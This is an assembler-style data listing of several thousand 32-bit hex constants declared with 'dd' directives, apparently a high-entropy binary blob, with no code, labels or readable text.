dd 110F0000h, 830840BCh, 0D6F9E82Fh, 0C9EDAE56h, 0E3267A7Bh
dd 0F2E65559h, 0B72C2EFEh, 12EF5DCEh, 0D0EB870Dh, 0FF8E90ACh
dd 0C4A3B228h, 6E7235C2h, 1EF03EDh, 91112BCFh, 5071A932h
dd 1840DD55h, 0B76195A2h, 0BC94477Ch, 93C84BA1h, 248E7FDh
dd 63AC59F8h, 92B2DA75h, 3EF0AC5Ah, 0F9F57C09h, 0ED358BC0h
dd 57CB745Ah, 176B049Eh, 3FE37D8Fh, 8171DEBFh, 297F4B34h
dd 51CC05D6h, 0CF2CEBD0h, 5AE40580h, 986B5042h, 25C8CB85h
dd 957DBB46h, 37FB4768h, 286BABBCh, 41F346FAh, 372B0BABh
dd 3D875CAh, 47AC1E87h, 201DF381h, 0EF19AA51h, 0AD6AEC96h
dd 98D4E175h, 18CBDD95h, 2D8FE948h, 9FC122F1h, 0CC5BF242h
dd 52B2CFEEh, 0B7EF563Ch, 0E4849E03h, 3EA965E1h, 67DAD8BFh
dd 1FA51C62h, 0CD58F938h, 0AD0048B6h, 5ECB330Dh, 0C49B92ADh
dd 2D13EC12h, 7E49B0Ch, 3C86CADh, 0F43CB3E8h, 0C0602FC1h
dd 35CD2Fh, 0A26A7FD6h, 87575849h, 98E20C26h, 8B238FF5h
dd 8C3FF6FFh, 24A91E9Eh, 0E9D13AD6h, 5652A12Eh, 1765C732h
dd 0D40AD530h, 0D21D37Ch, 37842931h, 4681870Bh, 6EB51B58h
dd 0F1BE9EBFh, 0AAA8E9D8h, 9F4828A6h, 0FF3A86A3h, 0D80B69DCh
dd 7555406Bh, 595A7ED0h, 805E24B6h, 0D4F04BC3h, 1CE62BC3h
dd 8CE85416h, 0A1047E4Eh, 0C3B09A2Bh, 40EE6CFBh, 0A8990413h
dd 0F74F7F38h, 0E0F0BF77h, 24100B30h, 71E8B631h, 891ECEDDh
dd 0D9041547h, 65BF6E26h, 2E566079h, 26D59A25h, 845317FEh
dd 5EEDC151h, 17CA0945h, 995B28C9h, 7CC82DE5h, 4F15684h
dd 48F3E805h, 0F4936ED8h, 1CCDAD59h, 25A87E5Ah, 32CD1F48h
dd 0FC9FD863h, 2831CAA7h, 0F8DE111Ah, 0B6B778D1h, 4F54D530h
dd 4B0BB10Ah, 5EB55852h, 4B2B4047h, 9964BED9h, 0FC27F7A7h
dd 374D9EFEh, 63E6F231h, 0E3E29AD0h, 7C8CD4C0h, 750153CDh
dd 0ED47A89Bh, 0A2CA7418h, 8FF6A9C6h, 97E88757h, 0A547F69Eh
dd 389CDB7Fh, 0DB923EACh, 0DCDF8ED7h, 43A43A74h, 5CB314Bh
dd 0E028B311h, 0D1884CF5h, 6A6D0FF0h, 20C3ABF5h, 0F9DA0635h
dd 59797A2Ch, 32930EF4h
dd 464F24A3h, 6F5C3239h, 0DB02264Ch, 86F22D70h, 155680EEh
dd 5F992EF9h, 6DF5108Fh, 0CBB4148Dh, 4DCAC3C6h, 0A3B0CCC5h
dd 8A50AE35h, 57F41DCAh, 42BABA62h, 0CE0433A5h, 0C26A8800h
dd 2CA4305Dh, 3CFEDCCAh, 87301AAFh, 0EC75CA20h, 6962A8F6h
dd 478A00F2h, 0BC54401Eh, 0C7E85416h, 7D3F36FEh, 0DE7A3AF0h
dd 4403BDE7h, 0B83AAB23h, 0B62B288h, 250A395Ch, 0FEAC21DAh
dd 4DD49BBFh, 3E4521AAh, 5CB49D29h, 0B22FE3EEh, 263E503Ch
dd 1C7FDB19h, 0D836E42Ah, 0C48F5ECh, 486F18D2h, 0AD86D711h
dd 0BC69F9FCh, 817877B7h, 0C7B564Eh, 5A86D0Ch, 30FF23F1h
dd 3ADC611Bh, 0E543A133h, 12209620h, 1FBCF914h, 0B4751223h
dd 0F7E2B14Eh, 8FBC2C34h, 8E3E28C7h, 0A31770ADh, 92E3C475h
dd 0C4A02A73h, 0F16C3AFCh, 0E289D76Ch, 64239F52h, 48A1601Ah
dd 76776059h, 0E8700A17h, 3246678Dh, 52D66359h, 6AA2F6D9h
dd 85E8D9Dh, 0ED00CA61h, 726232BEh, 3469BD1Ch, 72BDB6F0h
dd 4397335Bh, 198DE0CFh, 0FA0F3AFh, 0B76AF3EBh, 8226BCC0h
dd 0FA103232h, 0E1C6416Dh, 639BA751h, 4A601C32h, 316872A2h
dd 0C90D89Fh, 0C469D69h, 9B6B5744h, 26855508h, 3AB9264Bh
dd 4F816FCBh, 0B3ABE9DFh, 82D7BBE2h, 65AF200Eh, 89C46EABh
dd 707F5479h, 0D5D8DF66h, 0E2FD3247h, 5D4AEAF2h, 1F246086h
dd 9D9012F3h, 8A2FCA23h, 5C83204h, 1C817B9Fh, 99A888DEh
dd 4D3BD5B3h, 9355BA5Fh, 0CBE317EEh, 0A09DF698h, 3BCF367Bh
dd 90142CDEh, 0B11F45C4h, 9CFC5E73h, 0D4637418h, 46F0458Dh
dd 0BCA937CAh, 0B364EE9Ch, 182D4A71h, 665F2753h, 5815B6CEh
dd 0BE730AEFh, 57C289BAh, 61FA4332h, 8BF6D321h, 9F4A28BEh
dd 281A2AB9h, 78EDFDA8h, 4589AC19h, 56D4860Ah, 0B4D0E4F3h
dd 9B200BF8h, 6C268FA6h, 5D515F4h, 2A80BB1Dh, 58D78622h
dd 728BA899h, 4CA65FD7h, 12134490h, 47C268B5h, 93446181h
dd 0C2EF2A64h, 49FB8578h, 0EADB52h, 0CA4FEF06h, 0E73ABEB9h
dd 8E8089FBh, 0B94EB2A5h, 0CE2B723Ch, 0D0A0ACEh, 5FA8D7B5h
dd 23CF29A6h, 12E63201h, 996C5455h, 0C03F418Fh, 10B2B2C5h
dd 980AE799h, 0D40336BCh, 74271010h, 0AA678B08h, 0ACB5EC8Bh
dd 0CEE87567h, 64E8D5F4h, 0C08540E4h, 9D104A69h, 0A5F012A0h
dd 0DC9311FCh, 5893B1D9h, 692C2675h, 44D90C22h, 0E521693Fh
dd 8F6EB144h, 76A312D1h, 5188F9E1h, 0A84752C5h, 8771550Fh
dd 3988DF8Bh, 4AB4161Ah, 7C4314B2h, 8B1CD09Bh, 193CCE90h
dd 0BEE39E7h, 7CA6290Bh, 1999E41Bh, 6FF0252Eh, 395AD3F8h
dd 0F7A5A2Ah, 31A8C7E9h, 0F858EEC0h, 0AB9952B0h, 0B418C5B5h
dd 6C38159Fh, 0AED3994Eh, 0C02062Bh, 42062E60h, 9DE67919h
dd 1000FADDh, 75E87122h, 307C6205h, 0B06F604Dh, 0CFA54319h
dd 0D037EA96h, 23A4117Eh, 77E3C683h, 75578FBEh, 0C21E3D20h
dd 0FE28478Bh, 0A4824F40h, 6B053EF9h, 362F8B90h, 866B83E6h
dd 72987D3Ch, 754F65A9h, 1DEE29C6h, 5C1A56E8h, 0D0DD0h
dd 31EC7C8Dh, 0E7213683h, 0A4DA99CCh, 9228F256h, 53D53000h
dd 0BF464BD3h, 0E1F6B11Ah, 177DE0C0h, 2EB7F818h, 0D01990F3h
dd 0D4A3BB31h, 42BBA277h, 9EBB4C23h, 47F7E28h, 50662149h
dd 419E10B4h, 77B261CDh, 2FEB17CCh, 0DA6B7FBCh, 5A37136Dh
dd 0A3D6F701h, 9CEE33B4h, 0C2A7EC7h, 0BF61712Ch, 0A4A8CF82h
dd 0B4A1727Bh, 173ACAD5h, 0A371B9E9h, 5C9D0402h, 45CF6172h
dd 70E6EF9Eh, 0BE73BF40h, 0F1B9FFA0h, 0F5500CA7h, 5E87EBh
dd 2DFA6EB2h, 433C9C98h, 0BCB03E26h, 0C3C00DD6h, 5ACEB8EAh
dd 1BA1EC19h, 0A61ADAA9h, 0B841289Ch, 0A0AACCCDh, 78D92557h
dd 0DDE9650Ch, 0E234658h, 0E87F5F4Ch, 706E4457h, 8827C655h
dd 183CAFF3h, 0B02E1D37h, 8E90ACDBh, 625DEF78h, 92B764CEh
dd 0EFB07099h, 0FB9CCD40h, 71D9797Eh, 6D57B5D0h, 531A171Eh
dd 0F476F4DCh, 0FD700BA2h, 746DB7Ch, 21AD54D2h, 7F0430CFh
dd 0E6D5AB2Ah, 9481D4D4h, 2DBA00F4h, 0D85B7ED0h, 3824AE83h
dd 0B5A52A67h, 89807E1Bh, 0CCB01D12h, 0F5B4ACA6h, 4AC39D29h
dd 0AC840BBAh, 97681986h, 51A50FB7h, 2B38B411h, 5D2C8F19h
dd 22E73DE2h, 63733182h, 242AD300h, 40CB3243h, 97DCF77h
dd 94F7FE01h, 0AFC29B13h, 4225A2EFh, 0AF33FA2Ch, 75479462h
dd 0B4CD80F4h, 0CC4A10A2h, 1C285491h, 270EA3F2h, 0BA7D1657h
dd 850D753Fh, 4012C235h, 0B1E32C19h, 55A5E297h, 0E8CC8F86h
dd 0FCC2C802h, 0FC97A5C0h, 0A350E582h, 950B02D4h, 0F4E40924h
dd 0A35E2006h, 0F14DF020h, 9967309h, 0EDEF694Ch, 287B568Dh
dd 0FC194A93h, 19FEA6BEh, 0E52B6125h, 55B138E4h, 77701533h
dd 0D41DD139h, 2E6B50A5h, 3936DFFBh, 69EA76E3h, 0A6478974h
dd 0A2D90514h, 14780A75h, 62DEB136h, 2747854Ch, 0D15B440h
dd 9FA94D72h, 0AB9976BAh, 0CEE81179h, 1C944CABh, 0D9AE822Ah
dd 4B15342Eh, 0FDB1A2A1h, 0B94E3240h, 0A5386768h, 0E401A984h
dd 33ED6E2Dh, 5ABE4428h, 57881F14h, 0BC93A8D1h, 17A086FBh
dd 0A267E310h, 9F764D6h, 0F9D90EEEh, 0F3ED43E3h, 12844728h
dd 0DE1D5433h, 685657EEh, 5B16FCC3h, 2B99E110h, 95F4C81Ch
dd 3D4710E2h, 1E313E3Eh, 0DDB8279Bh, 832851D5h, 84AEBA6Dh
dd 6DB9B87Dh, 77FF2AF7h, 0A1A066DEh, 4309495Ch, 0DACE47BAh
dd 2C04570Fh, 0C3823DFBh, 0A7215822h, 9781AD79h, 0D558D84Eh
dd 0EC60D11Dh, 0EB825B0Bh, 0A6E3C14Fh, 0C89CBEFFh, 0C499C26Fh
dd 0E8AEAA87h, 0DA5957C0h, 0F38EC99Eh, 1F8FB80Dh, 1040DDA1h
dd 0A20883E1h, 682F74FBh, 0E5080CD1h, 0C861A477h, 0BAABAB11h
dd 0DBBE2566h, 0C3F2C9D1h, 0A72D2E40h, 0BDF6F5CFh, 731FCA60h
dd 21F77FA3h, 41EF75BEh, 0DA09BC75h, 0F50B704Ch, 0AF020C9Eh
dd 0D7F9B7CDh, 0F689104Fh, 0C3A4BC5Dh, 0C1F8F635h, 0DC30171Bh
dd 0EA293BD0h, 0D5FE76CFh, 770C7335h, 0A102D1E0h, 10FAFDCh
dd 5C035745h, 24D4AEAAh, 0AED0ABFCh, 0B1A647CFh, 0E5A925C5h
dd 37658778h, 179BE411h, 0CB4C004h, 0D35FF2B0h, 0A8CEEECDh
dd 0B78AF870h, 48F7D297h, 2BD8CD81h, 612FB75Ch, 0C7704DDBh
dd 0DF0960DBh, 830E9CB5h, 0A03202C4h, 0D00B0E22h, 0B41CCEF8h
dd 473027F9h, 0E76EDE46h, 0F3B370Eh, 0E28DAF4Ch, 90E32291h
dd 0C4035033h, 8DBA0F6Bh, 7903C1B3h, 0B24C719Ch, 0D7B48A16h
dd 0BF92886Eh, 4885B593h, 0CBAFF73h, 83C8E008h, 0FC0AE096h
dd 0F28F53E7h, 901BB50Eh, 0A3EE8CAAh, 219A0D04h, 0B944DC2Dh
dd 0AC4E383Dh, 0AAB04C41h, 0CC75E490h, 9109D5FAh, 0EAB6EFDFh
dd 754CD080h, 9AA8FBBh, 655FAD33h, 0F35FD755h, 0F201E8E6h
dd 0D5E80F08h, 0FF33BF35h, 0CAC9Eh, 40C13B6Dh, 9505943h
dd 67FAA182h, 0BA726E67h, 7B33BEFDh, 0E12C41F2h, 774456C3h
dd 0B6366F83h, 372A86EAh, 0DC183155h, 575BA289h, 52363068h
dd 960D7C38h, 96EE8F7Dh, 68B3181Dh, 0D5BDE862h, 0E5151964h
dd 0A47D8FF4h, 0C0475284h, 0F14D25A4h, 0FF248A26h, 4FA6EADEh
dd 5391B942h, 0E596EA5h, 43CE7186h, 0C3744FD3h, 5F675EEBh
dd 44847954h, 0F27025AFh, 0BFF01F3Bh, 73F4C296h, 0A2B2A67Ch
dd 0C3364D2Ch, 868BC47Eh, 0B138365Dh, 0F83328A1h, 0D262B1CEh
dd 83C98129h, 0E68A768Ch, 0A8212825h, 0C65F4F09h, 0FFC306C2h
dd 0CEDB59EDh, 0D58D7856h, 0B86B5B1h, 5AA4168Fh, 4BB54C23h
dd 5F778945h, 742C5AACh
dd 7ACFB629h, 4B10A540h, 31358944h, 1C4EBD85h, 0BBD1F3A4h
dd 136BDB1Ch, 70CEDC22h, 837D8E9Dh, 0BE5FE476h, 4F5BC126h
dd 0C5B10EDDh, 478139D1h, 2BC7F68Ah, 51AE1DA5h, 0D2BCF708h
dd 0A45774B5h, 43B368E9h, 32F95FCCh, 951A6293h, 1C7FB3B5h
dd 0E64269BBh, 0EAA0629Fh, 36951814h, 0AE9F54AEh, 466318B4h
dd 801F005Ch, 6D3E926h, 1955B277h, 88854C43h, 0FD63CD91h
dd 0C42A3AA7h, 4523440Dh, 1262286Fh, 0B504CD82h, 9148A334h
dd 6728A5B2h, 7C881E45h, 794B7871h, 77BCE681h, 0D173657h
dd 0F6BC8D28h, 5949F6B4h, 0C4352451h, 270555A6h, 0E684D0C5h
dd 49E142C9h, 1D5C6B8Fh, 0A72830EFh, 0E8CEDA0Dh, 0E96722Eh
dd 0CBD14466h, 2C5ED7F3h, 443B7026h, 872154FEh, 4BB6AD8Ch
dd 0A8B311A0h, 0F8D74AB6h, 423B7A33h, 6D048C59h, 0DDBEF1E6h
dd 829F4788h, 6E885C28h, 6F4C0C39h, 0D16CAD8Ah, 9AB79EBBh
dd 5F73BECFh, 69E774CEh, 0DCA77071h, 0A23ECDDAh, 4E44CEF1h
dd 805961EFh, 0B78EC20Bh, 320B089Bh, 0B7DC4376h, 372DE5F7h
dd 7F5091Bh, 0E9188536h, 0AE4678B1h, 0DFF1D1A5h, 8417A69Ah
dd 6864352Fh, 0DC8EEC28h, 0AB4115C5h, 86365102h, 82B5E91Eh
dd 0EFE342ADh, 0F34C86F2h, 57ACE596h, 509A4E2Ch, 3DB320E3h
dd 2F40DD5Eh, 0DB05F096h, 4A831B73h, 898B5804h, 0F1F7A1EAh
dd 0F9A7ABC4h, 427C8267h, 87E73942h, 2283E794h, 0E1CAAB8Eh
dd 48EBE712h, 0F728609Fh, 7D656612h, 0AD5CD132h, 3D69E966h
dd 0EC414ACDh, 0EA9A0449h, 0EE650E4Ch, 64A7E56Ch, 0CC269C89h
dd 0B2ECDA50h, 227FBBB6h, 20738019h, 3EBB29EAh, 53E9A0A7h
dd 0C4144CDBh, 5FA53902h, 6365F3F0h, 0AE780BB4h, 6C9D817h
dd 0C0645F0Fh, 0B4AE53B4h, 1993CD0Eh, 0E9BF6B57h, 0EC08336Ch
dd 4FC988ADh, 0C9E989B9h, 0CF9A9D1Dh, 0B77A327Ah, 904B1150h
dd 31CB7CE9h, 9B4096E2h, 67A3EE07h, 602F363Ch, 2551BB0Dh
dd 0B766D23Ch, 7BA55247h, 8A3819A6h, 0E1E3BA0Bh, 90A7B463h
dd 0B716B462h, 0DA96C5C1h, 7B05524h, 905B70B9h, 5918A0AAh
dd 0AD5F6DBEh, 6877E73h, 294E9CE2h, 0E0B68055h, 0A50F8879h
dd 0F40729E2h, 0D7491311h, 0FC932ED1h, 0EAF2A963h, 0BBCB7316h
dd 0AA64BF8h, 11EE2A25h, 1D82A2A8h, 723B9E92h, 2B0304EDh
dd 5A917A4Dh, 860A6C2Ch, 0A42DB18Ah, 0A6320190h, 0A8A7CFF6h
dd 5B4636BBh, 51883F30h, 5E2DC0A2h, 6A4BE849h, 7AF9781Ah
dd 0D61F118Bh, 0B10DFE21h, 0A249E790h, 8806E095h, 50D090A1h
dd 2F11DC83h, 90DD544Ch, 618E38B2h, 550FFD9Ch, 0A655969Bh
dd 0CE5906F9h, 3B11BCD8h, 0E590D7CFh, 45CD327Dh, 0E59FA040h
dd 69010F31h, 0E360F529h, 0F5FF9C98h, 5D2AEE98h, 5299E985h
dd 9F6717D6h, 15A82FC9h, 55137119h, 1F135E55h, 3CB56AC5h
dd 7BB7373Dh, 65DCDD25h, 12A473Dh, 0EC9A2ED2h, 62A984ECh
dd 2B5BF05Ah, 240EFA20h, 0CD0EEC32h, 521396E0h, 0A9EABF96h
dd 0D2AC7864h, 754D0EC6h, 640751EDh, 0E257D3C7h, 450243EEh
dd 93235C9Eh, 0E8B1F4BBh, 0AF006D60h, 9F44E351h, 6E71706Ah
dd 0E9E2E93Fh, 2A6DDE1Bh, 0EEB32AA2h, 196647F3h, 7742573Eh
dd 9809DF36h, 0CAF96C58h, 847AD843h, 12C6EBD0h, 5E2A139Dh
dd 8BBCBFE2h, 0D0AFACC4h, 8E8A13D6h, 5A55B9A6h, 0B3AA6A6Ah
dd 0F6B4BD9Bh, 17DBFFD9h, 5E7BE3h, 8000h, 0E3A66800h, 0A8F3E761h
dd 65579873h, 0BFC951D0h, 37DC9485h, 0AC3DBD9h, 0CBCE87Ch
dd 5299AF38h, 1B551B1Eh, 2AA7FC29h, 0C77F0F54h, 0D0BD4C38h
dd 2807981h, 0CEA0A75h, 4B5497F3h, 0D05CAD18h, 83C8EB68h
dd 740A9D8Fh, 92E7093Dh, 0C74F413Eh, 0D60512A0h, 47A876D6h
dd 0B5BCD20Ch, 4F2F768Bh, 0A82F5598h, 336D88ADh, 2B5FF69Dh
dd 7521B2CFh, 86F2F631h, 8BDA2608h, 4CEEDD9Eh, 8E81879Eh
dd 0ABBD033Fh, 0B745AE44h, 5EE38A78h, 44AF1BEFh, 985106F5h
dd 95026F71h, 796465A3h, 0A07AF5CEh, 0EF5F1C1Ch, 4501271Eh
dd 59A9866h, 0EF2E1462h, 9259C2CAh, 44935B26h, 0BEBFA574h
dd 742B1C5h, 0C9262C77h, 6BFA1CF5h, 524B25C2h, 84E0CD41h
dd 951E9293h, 4206359Dh, 2579DE1h, 0C7629E29h, 0E8A7E6F9h
dd 76E9F9E7h, 0ABDCD7F6h, 0A6947BF4h, 5CEA54BCh, 0FCC72492h
dd 6D447DC5h, 0FBECD599h, 0F125332Fh, 58F4AD8Dh, 1837747Bh
dd 36444731h, 38FF5B6Bh, 6A1D25B3h, 411B7C57h, 0DAFB99DFh
dd 0DC260DBAh, 0A894E888h, 1385369Dh, 28475A8Ch, 2C64CE22h
dd 0C0841B97h, 27E0F64Dh, 0F5CF10C7h, 808FB68Bh, 26AB2952h
dd 0EB601170h, 9E57E6ABh, 0DF742BA5h, 0C0486633h, 0BB365EECh
dd 9F7163BFh, 0CCAEC7C8h, 0F0D4A4D7h, 0DDBB73F5h, 29BCC578h
dd 7FB5821Fh, 0BEA454ACh, 3A15D681h, 309EE150h, 1F6B1F86h
dd 0C271AE9h, 0A37CB45Ch, 9FDB888Dh, 7128C6B8h, 17A260B6h
dd 708BBD56h, 0A802518Fh, 4E500BBEh, 7F22A9F0h, 11AFB1BCh
dd 607C86D8h, 0C42B33AEh, 3AE63B30h, 0A7FC9528h, 0A7CC9D49h
dd 3450E1C4h, 1727E648h, 4768D4CEh, 4E6B46E7h, 0B19B6863h
dd 1EACE7A1h, 34678E4Fh, 0C69D54B0h, 7FDA9740h, 0F4AF743Dh
dd 428AD6A8h, 85E2D61Ah, 0D7FA39BBh, 0A035592h, 4D1677Fh
dd 4812B21Dh, 16875B2Eh, 89528FE3h, 0E136FE2Eh, 0AF0336FFh
dd 39C77301h, 0B508B720h, 334A729Fh, 9356AC06h, 0F3643341h
dd 2FC997F4h, 0DE58037Ch, 19C32D2h, 960E150Dh, 0CBF1C9C4h
dd 4F59A26Eh, 1F04C2CEh, 0B736FDEh, 464A59FFh, 0D120182Dh
dd 3DE42EDDh, 65E4265Dh, 1C138AE5h, 1812C634h, 7BEEDE91h
dd 46931172h, 0DFF4EEB8h, 0E6E3201Dh, 2DF47E9Dh, 13700E7Ah
dd 265A1C24h, 887A8B6Fh, 53AABFA0h, 0B26B70AAh, 8C2B0E08h
dd 9DBA697Dh, 1229304Bh, 27B81F68h, 544640ACh, 427E1911h
dd 636FAEA4h, 373E9500h, 0ACE7C1FEh, 0FC8BBB7Dh, 0A7C12124h
dd 0D6900221h, 893221AAh, 2B960419h, 7A814497h, 2BBAB7FCh
dd 0BEDEFB44h, 0C0F9596Fh, 0E9286587h, 788E6E95h, 0D070D1CDh
dd 38697E1Dh, 0DF3AD3EFh, 9EBCB6E4h, 90A6837Ah, 428E5D2Eh
dd 2CD9D962h, 0D7C64A10h, 6F5D8C1Ah, 391D2E09h, 1A093AE6h
dd 82567F1Eh, 0A81CDF17h, 3BA7EAE2h, 1B899577h, 0C210E29Ch
dd 0C60E6FF5h, 56EB2ED7h, 41E1B97Eh, 0ED6672DAh, 3782E7EEh
dd 680DB594h, 5C53F880h, 840EA3AEh, 6FBE8328h, 821F17ADh
dd 98E7C9A3h, 4646D9C4h, 915860BCh, 0EA0BBC5Eh, 20635FBEh
dd 7022FE86h, 70D5ADD0h, 0D6AD6C55h, 0AA6B607Bh, 362F0C98h
dd 0A44B56EAh, 2871794Ah, 7476D873h, 0E43D98DCh, 0C317D222h
dd 7C6CFDFBh, 50D74910h, 0EC6FC7FFh, 1DCD8908h, 0BED465D9h
dd 0D4AED188h, 0FD4D2374h, 6FE78E8Eh, 7BB160A0h, 2D4881FAh
dd 25417A2h, 0F964ECC0h, 0B8E2280Eh, 62593867h, 2383CDDAh
dd 0BCDA2721h, 1A31FDBCh, 31527C96h, 0DA628BE0h, 2E372D12h
dd 0F8169D50h, 0F4F76BF3h, 634C1079h, 249DF165h, 9C7F25C0h
dd 62A3DBC2h, 1350C03Eh, 0A51A2E6Dh, 4AEFE512h, 10DDF1F5h
dd 2E8D2FC3h, 9586068h, 0C31A247Ah, 0ED7856C7h, 0C140332Ah
dd 3DF8E008h, 0AFBA7BF6h, 0BF11B1BBh, 35A054A0h, 0B6119D90h
dd 4B012191h, 0B04DA158h, 9FD80C5Fh, 184707A2h, 87C2B157h
dd 0CC4247FFh, 6C99CB61h, 0BB2F1B8Ch, 0A8F6Dh, 0D514A9A0h
dd 0A775DDBDh, 5E9525FDh, 0DA57CEA9h, 45ABA279h, 6AA683ACh
dd 40940D66h
dd 0C3314F1h, 0D8896E9Ah, 0EA0EFC0Eh, 93A21E1Dh, 1436A889h
dd 52467B1Bh, 79FBBBAFh, 54F06288h, 4B287FBCh, 3C14A501h
dd 0C9215813h, 0ED0FAA1Fh, 85056CF2h, 22BE95BAh, 910B8E59h
dd 9B4A2666h, 59F87D1Ch, 0E235399h, 0A66FF118h, 7DA15F85h
dd 5575E8C4h, 1ACA14D2h, 2C11A5D3h, 0FDDCB66Ah, 4F3096D2h
dd 243F6388h, 0FB58BCEBh, 8E297BE0h, 0F0DC40C1h, 21FF0599h
dd 51DF4B86h, 1A3125B1h, 0EE228662h, 0A7D560CFh, 0A14EA778h
dd 36DA2366h, 55E9904h, 21F7326Dh, 0A8BC6286h, 0D25F6F68h
dd 179E0A92h, 79E12DFDh, 4E3D55ACh, 62A18082h, 0CDBA5BE1h
dd 35B7C519h, 0CD43CF28h, 0A88F072Eh, 322112E7h, 5B54F422h
dd 0C9324CE5h, 434C7D75h, 0C5844B4Fh, 9CA409ECh, 0E7DAA680h
dd 0D2275C52h, 6BE5A026h, 85F430DEh, 923B0610h, 0A08A3763h
dd 702BE5B3h, 0AB6D27A2h, 0DF9E02F0h, 0C8C51D7Ch, 0C15E02Ah
dd 0EE7B0819h, 0B492AD32h, 0F46C49BBh, 5A912A2h, 5D42C8FEh
dd 21290D22h, 0E7F1A3Fh, 0A20FD646h, 2AB3F586h, 0EA5EA80Bh
dd 7545457Ch, 29145019h, 0A4F38102h, 509AEA6h, 9167EC11h
dd 238AB1D9h, 3F5A4FB3h, 58830E6Eh, 242CE78Bh, 0DB66526Eh
dd 87B7E2E5h, 7BCA8B5Ch, 0CC1748BEh, 8902D00Ah, 0FD26880Bh
dd 55915BC1h, 5896EDEEh, 3A3A74Fh, 624025C3h, 0A6B6A864h
dd 1D9EC51Ah, 0C173D2DCh, 36EC67E7h, 7C12FA64h, 0D50291E3h
dd 0F9994233h, 918D1CF8h, 741A38BCh, 0CA2A8DD0h, 3707168Fh
dd 0AA0E1A1Ch, 0D8E20ABEh, 17BC25C5h, 380C5A7h, 936E2E38h
dd 5DCE83E8h, 9E9CA15Ah, 17E14813h, 0AECEE35h, 98D4CE78h
dd 82E78182h, 0A9F92AA8h, 0B5061A93h, 2CF0F83Dh, 8332519h
dd 39F4EE90h, 60467844h, 0DCC2E3DCh, 402CECh, 52602F90h
dd 5D265B24h, 0AE665A58h, 0EDB5D19Ah, 0DCFC8BA3h, 0DD618279h
dd 872FC616h, 94F5F612h, 9F9EB4C0h, 0DD412480h, 0F2881BD0h
dd 35CB685Ah, 8C7DFE0Eh, 101FDB36h, 9E5A10F2h, 751E1CAAh
dd 0D97252BBh, 8083AEAFh, 42D14CB5h, 0D354E6ADh, 50027CCEh
dd 2EFEE335h, 26A43D76h, 69A10A9Ch, 0EBECE88h, 71DDA241h
dd 591BA0D2h, 2DA048BEh, 193634A4h, 0BA31761Ch, 0E0CC0F7Ah
dd 477522FEh, 88D423B5h, 0D55D1F66h, 9A17074Bh, 0C62631Ah
dd 0C196BCD0h, 1F880E63h, 2208ADB9h, 1A48C9C2h, 0C2C7F3A0h
dd 16614CEDh, 4CA93F22h, 9EAFBBFAh, 0B7A0CF52h, 0AE5569E3h
dd 0DE6F1A2Dh, 0D16C9CA5h, 8F838824h, 0BD374210h, 703EAC7Bh
dd 0E0EBD8F3h, 502F990h, 7A8B9D88h, 0B9A8890Bh, 0DC7D312Eh
dd 0C5C60A0h, 99796700h, 66C27238h, 0B04DEC9Fh, 346B75A0h
dd 8762511Bh, 0FF8AC2E3h, 0DC5DC819h, 12F97951h, 4926EDA5h
dd 6AD3CAE4h, 44B54965h, 0EB0A93D9h, 0F63F9B2h, 0E2CD454Bh
dd 58F351BDh, 0D0DF744Eh, 0B491602Ch, 65877F22h, 27ECAF27h
dd 8ED99717h, 0AC3A0C9Fh, 0ACCAD4B8h, 0C4CC9AFEh, 2EAA677h
dd 0ABC8F0DFh, 4F45466Ch, 7161C7FFh, 1F0703C1h, 3A1F5A84h
dd 7E3A4828h, 0C05779E3h, 0FAC2BB4Fh, 3F40D0D1h, 0A650F57Eh
dd 35A1F73Fh, 0AD8BEFFAh, 647904C6h, 3153AD4Ch, 3997C2F4h
dd 4961E208h, 1B3BA65Ch, 0BA686999h, 0EB2B0B82h, 0DC2A3C6Ah
dd 0F24036FEh, 0E0146DDh, 0CDCE31AEh, 11D001D3h, 6691D468h
dd 0CE1FFB13h, 5140990Bh, 58782B16h, 6F985B97h, 4B94C589h
dd 9775AEC4h, 16FF6FB5h, 0B6A86CA2h, 8F7F85A3h, 5CCE22C2h
dd 0C519FA20h, 1D9ABD33h, 0C2031F75h, 0C4F00196h, 58B1F19Ah
dd 316D455Fh, 2AE17B61h, 77095FE9h, 0DC7D0213h, 7262285Bh
dd 9ABF1BC8h, 8AF0666Ah, 0CB72C103h, 4B6502EEh, 0BCAB4B8Fh
dd 3DC5EDEEh, 1530EC1Ah, 0B1D294CDh, 31DDBFB7h, 55A7E852h
dd 0E0886658h, 0A5A1CF87h, 7E375E82h, 0C5951D56h, 0CB06068Bh
dd 0ED167685h, 0B6C73691h, 2588A4BDh, 0B9B65751h, 0C59E0F70h
dd 0ACE1314Eh, 981835D9h, 3EA92C1Ch, 633AAEB9h, 0F3E72C37h
dd 0FC9E6CA0h, 9ED886D9h, 0DF11534Ah, 4D669F06h, 0CFDBE6AAh
dd 1163AF3Fh, 0B76E56Dh, 0A79C1DCEh, 0B34B63BAh, 0FA5AFFF9h
dd 0CE5E0F15h, 809D2135h, 95BAEBF4h, 9768972Eh, 5A7B9DBDh
dd 0A25F1FF9h, 0E123B201h, 2788E5Dh, 0BCE0D756h, 0BE4BAF7Ch
dd 26FCF9EDh, 0B3F15958h, 6D5C761Eh, 246E7E5Eh, 6EA7274Bh
dd 5B7D045Ah, 0F2B8FAF6h, 0BDEEAC54h, 150682D2h, 87E57344h
dd 0D9A7396Fh, 6BF776EDh, 0B3F5BE55h, 0BB555304h, 0F15B4B42h
dd 25A2605h, 8142A8EAh, 8F7AB0E8h, 0E8E2D7A7h, 5EA2D203h
dd 0D9CCCA58h, 0A9439C35h, 5A97719Eh, 0B66A3072h, 579FE645h
dd 53C5B047h, 1C4DE91Dh, 2F95E092h, 0C462E3F5h, 85537F4Dh
dd 12C344ACh, 0EB932EAFh, 5B8F3388h, 126759EFh, 7856964Bh
dd 0DF6F9956h, 0AD33C6D3h, 664AA8D9h, 4D4C546Ch, 4C68282Bh
dd 8DDB9DF2h, 2A314C87h, 0D4A5354h, 0F4BA4A50h, 2ABAE295h
dd 0ED5BCAF3h, 15CF5EFCh, 56CBB8A6h, 0B9DADBF8h, 8827A07Eh
dd 0D72F35E1h, 1651EDD8h, 3AF49FBAh, 78FD54F6h, 0B0270E12h
dd 0B982C644h, 820A421h, 5AF3191h, 65E7B1B3h, 72A43448h
dd 0FFA33C42h, 0F716D262h, 0D35C849Ch, 0EAF1F0C5h, 2967A994h
dd 39AA4BD1h, 0B8876CAFh, 0A44827B9h, 0E9803BF0h, 5A39D2A9h
dd 5304E849h, 1BA0DF38h, 9E9D9BFFh, 7AB84CA9h, 95B5553Ch
dd 39C2FF90h, 0E7A44AB1h, 1FC1F467h, 294383C1h, 846B5068h
